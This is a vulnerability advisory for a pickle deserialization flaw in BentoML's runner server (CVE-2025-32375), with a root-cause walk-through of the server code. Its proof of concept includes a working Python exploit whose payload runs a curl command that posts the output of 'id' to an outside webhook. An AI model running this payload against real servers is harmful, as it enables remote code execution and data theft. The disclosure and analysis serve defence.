Summary

There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.

PoC

• First, create a file named model.py to create a simple model and save it

import bentoml
import numpy as np

class mymodel:
    def predict(self, info):
        return np.abs(info)
    def __call__(self, info):
        return self.predict(info)

model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)

• Then run the following command to save this model

python3 model.py

• Next, create bentofile.yaml to build this model

service: "service.py"  
description: "A model serving service with BentoML"  
python:
  packages:
    - bentoml
    - numpy
models:
  - tag: MyModel:latest  
include:
  - "*.py"  

• Then, create service.py to host this model

import bentoml
from bentoml.io import NumpyNdarray
import numpy as np


model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()

svc = bentoml.Service("myservice", runners=[model_runner])

async def predict(input_data: np.ndarray):

    input_columns = np.split(input_data, input_data.shape[1], axis=1)
    result_generator = model_runner.async_run(input_columns, is_stream=True)
    async for result in result_generator:
        yield result

• Then, run the following commands to build and host this model

bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888

• Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.

import requests
import pickle

url = "http://0.0.0.0:8888/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer", 
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}

class P:
    def __reduce__(self):
        return  (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))

response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response)

And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working.
After running exploit.py then the output of the command id will be send out to the WebHook server.

Root Cause Analysis:

• When handling a request in BentoML runner server in src/bentoml/_internal/server/runner_app.py, when the request header args-number is equal to 1, it will call the function _deserialize_single_param like the code below:

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
    assert self._is_ready

    arg_num = int(request.headers["args-number"])
    r_: bytes = await request.body()

    if arg_num == 1:
        params: Params[t.Any] = _deserialize_single_param(request, r_)

• Then this is the function of _deserialize_single_param, which will take the value of all request headers of Payload-Container, Payload-Meta and Batch-Size and the crafted into Payload class which will contain the data from request.body

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
    container = request.headers["Payload-Container"]
    meta = json.loads(request.headers["Payload-Meta"])
    batch_size = int(request.headers["Batch-Size"])
    kwarg_name = request.headers.get("Kwarg-Name")
    payload = Payload(
        data=bs,
        meta=meta,
        batch_size=batch_size,
        container=container,
    )
    if kwarg_name:
        d = {kwarg_name: payload}
        params: Params[t.Any] = Params(**d)
    else:
        params: Params[t.Any] = Params(payload)

    return params

• After crafting Params containing payload, it will call to function infer with params variable as input

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L303-L304
try:
  payload = await infer(params)

• Inside function infer, the params variable with is belong to class Params will call the function map of that class with AutoContainer.from_payload as a parameter.

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L278-L289
async def infer(params: Params[t.Any]) -> Payload:
      params = params.map(AutoContainer.from_payload)

      try:
          ret = await runner_method.async_run(
              *params.args, **params.kwargs
          )
      except Exception:
          traceback.print_exc()
          raise

      return AutoContainer.to_payload(ret, 0)

• Inside class Params define the function map which will call the AutoContainer.from_payload function with arguments, which are data, meta, batch_size and container

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/utils.py#L59-L66
def map(self, function: t.Callable[[T], To]) -> Params[To]:
    """
    Apply a function to all the values in the Params and return a Params of the
    return values.
    """
    args = tuple(function(a) for a in self.args)
    kwargs = {k: function(v) for k, v in self.kwargs.items()}
    return Params[To](*args, **kwargs)

• Inside class AutoContainer class have defined the function from_payload which will find the class by the payload.container , which is the value of header Payload-Container, and it will call the function from_payload from the chosen class as return value

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L710-L712
def from_payload(cls, payload: Payload) -> t.Any:
    container_cls = DataContainerRegistry.find_by_name(payload.container)
    return container_cls.from_payload(payload)

And if the attacker set value of header Payload-Container to NdarrayContainer or PandasDataFrameContainer, it will call from_payload and when it then check if the payload.meta["format"] == "default" it will call pickle.loads(payload.data) and payload.meta["format"] is the value of header Payload-Meta and the attacker can set it to {"format": "default"} and payload.data is the value of request.body which is the payload from malicious class P in my request, which will trigger __reduce__ method and then execute arbitrary commands (for my example is the curl command)

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L411-L416
def from_payload(
    cls,
    payload: Payload,
) -> ext.PdDataFrame:
    if payload.meta["format"] == "default":
        return pickle.loads(payload.data)
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L306-L312
def from_payload(
    cls,
    payload: Payload,
) -> ext.NpNDArray:
    format = payload.meta.get("format", "default")
    if format == "default":
        return pickle.loads(payload.data)

Impact

In the above Proof of Concept, I have shown how the attacker can execute command id and send the output of the command to the outside. By replacing id command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.

References

• GHSA-7v4r-c989-xh26
• https://nvd.nist.gov/vuln/detail/CVE-2025-32375